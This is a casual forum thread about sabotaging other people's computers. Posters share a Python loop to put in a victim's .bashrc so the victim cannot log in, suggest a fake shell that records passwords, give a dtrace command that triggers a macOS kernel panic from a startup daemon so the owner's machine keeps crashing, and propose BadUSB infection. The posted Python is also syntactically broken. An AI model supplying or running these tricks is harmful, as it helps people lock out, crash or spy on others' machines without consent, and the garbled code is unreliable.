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Why would a sociopath sabotage or render a computer useless. Is there something in it for them? 

If I were to do such a thing I would make sure they knew it was me that fucked it up.

Maybe I'm old fashioned but wouldn't a claw hammer be more rewarding?

i just found a kind of neat trick for a linux / unix based system, you can stick this script in someone's .bashrc file and it'll hang there without letting them log in. if you wanted to get really creative you could make a program that would emulate a shell but would actually be recording what they type and their passwords and shit. anyway here's the code

import time
while (True):
try:

while (True):

do time.sleep(1)

except KeyboardInterrupt:

pass

and then put in their .bashrc file python login.py (or whatever).

Having the hardware work while the software is the culprit is somehow tastier too.

On a Mac, you can incite a kernel panic with this command: dtrace -w -n "BEGIN{ panic();}" It requires root of course, but that shouldn't be a problem. You can create a daemon to run on startup and execute this command, and the user will most likely have no idea why their Mac keeps crashing.

Can't you just tell the bios to load up from another disk? That's enough to mess people up and equally as harmless.

I don't know why you would want to bother.

Take a USB stick, put BADUSB on it, and infect the target computer with a virus (or viruses) of your choice?

"Maybe I'm old fashioned but wouldn't a claw hammer be more rewarding?"

The thought of destroying a perfectly good piece of computing equipment in such a way makes my skin crawl..